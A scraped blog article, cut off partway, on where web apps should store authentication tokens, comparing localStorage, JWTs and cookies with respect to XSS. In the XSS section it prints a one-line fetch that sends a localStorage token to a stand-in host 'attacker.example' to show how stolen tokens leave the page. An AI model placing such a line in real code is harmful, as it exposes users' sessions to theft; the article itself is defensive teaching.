What's the best way to do authentication in modern applications

freediver1 pts0 comments

What's the best way to do authentication in modern applications — Neciu Dan

Skip to content<br>🛡️ FREE · Master Frontend Security · All 7 modules live · 100% free · Start free →

Subscribe

Search blog posts

Discover more from The Neciu Dan Newsletter

A weekly column on Tech & Education, startup building and occasional hot takes.

Over 1,000 subscribers

Website

Company

Subscribe<br>Subscribing...<br>Skip for now

The Neciu Dan Newsletter

Once a week I share what I&rsquo;m learning from building products, teaching<br>engineers, and running a startup — tech & education, career<br>lessons, and the occasional hot take, plus community reads from the<br>frontend ecosystem. Free, and you can unsubscribe anytime.

By Neciu Dan &middot; Over 1,000 subscribers

Website

Company

Subscribe<br>Subscribing...

No thanks

Table of Contents<br>The basics<br>What XSS does to that token<br>”If they can run JS, you’re already dead”<br>Attempt two: hold it in memory<br>Attempt three: the httpOnly cookie<br>CSRF<br>Sessions vs JWTs<br>Where JWTs work<br>OAuthWiring this into actual React

Can we make it more secure?<br>The NEW threat<br>The end<br>References

Ask ten frontend developers where to store a login token, and you’ll get four answers and an argument.

And because each approach addresses different concerns, the debates continue without resolution.

So let’s clarify once and for all: What are the options to store a token, which are the most secure and what are the use cases.

I go much deeper on XSS and CSRF in my FREE frontend security course, but I wanted to tackle auth on its own.

The basics

I’ve written this, you might have too. Every “build a full-stack app in an afternoon” article and tutorial has written this.

The user submits a login form; the server checks the password and returns a token. You put it in localStorage and attach it to every request from then on:

async function login(email: string, password: string) {<br>const res = await fetch('/api/login', {<br>method: 'POST',<br>headers: { 'Content-Type': 'application/json' },<br>body: JSON.stringify({ email, password }),<br>});

const { token } = await res.json();<br>localStorage.setItem('token', token);

async function fetchProfile() {<br>const res = await fetch('/api/me', {<br>headers: {<br>Authorization: `Bearer ${localStorage.getItem('token')}`,<br>},<br>});<br>return res.json();<br>That token is almost always a JWT.

A JWT (JSON Web Token) is a string in three parts, separated by dots: a header, a payload, and a signature. The payload contains facts about the user, such as their ID and maybe their role.

The signature is a stamp that proves your server produced this exact payload and that no one tampered with it.

The trick that made JWTs popular is what the server does when it receives the token. It re-computes the stamp, checks it matches, and then trusts the payload without looking anything up.

The user’s ID is inside the token, cryptographically vouched for, so there’s no database row to read to get the userID or to verify the user.

People call this “stateless”.

And to be fair to the tutorials, this works.

It survives refreshes because localStorage persists, and it sidesteps every cookie headache.

The Authorization: Bearer header also travels across domains cleanly, so an app on one domain can call an API on another without much thought.

JWT works, but the code we wrote has exactly one problem: where we stored the JWT.

What XSS does to that token

localStorage has one defining trait: any JavaScript on your page can read all of it.

Whose JavaScript runs on your page?

Yours, sure. But also every npm package you installed, and every package those packages pulled in. Your analytics snippet. Your support chat widget. Anything a browser extension decides to inject.

And, the day it happens, an attacker’s.

That last one is XSS. Cross-site scripting means an attacker has gotten their code to run on your page. Usually through something dull: a comment field that renders user text as HTML without escaping it, a URL parameter reflected straight into the DOM, or a dependency that shipped malicious code in a patch release.

When that happens, the token is one line from gone:

fetch('https://attacker.example/collect', {<br>method: 'POST',<br>body: localStorage.getItem('token'),<br>});<br>The attacker now has your bearer token, and “bearer” is literal (It does not come from the show The Bear): whoever bears it is you. The server checks the stamp, sees a valid payload, and says hello.

They no longer need your browser. They don’t need your tab open. They paste that string into a script on their own machine, and your API treats them as you, from anywhere on earth, until the token expires (mostly).

If you signed that token with a 7-day expiry, as plenty of tutorials do, that’s a 7-day skeleton key.

You can’t cancel it, because the whole point of “stateless” was that the server checks nothing.

Everything the attacker does next happens on their infrastructure, on their schedule, completely invisible to you.

”If they can run JS, you’re already...

token from localstorage free user server

Related Articles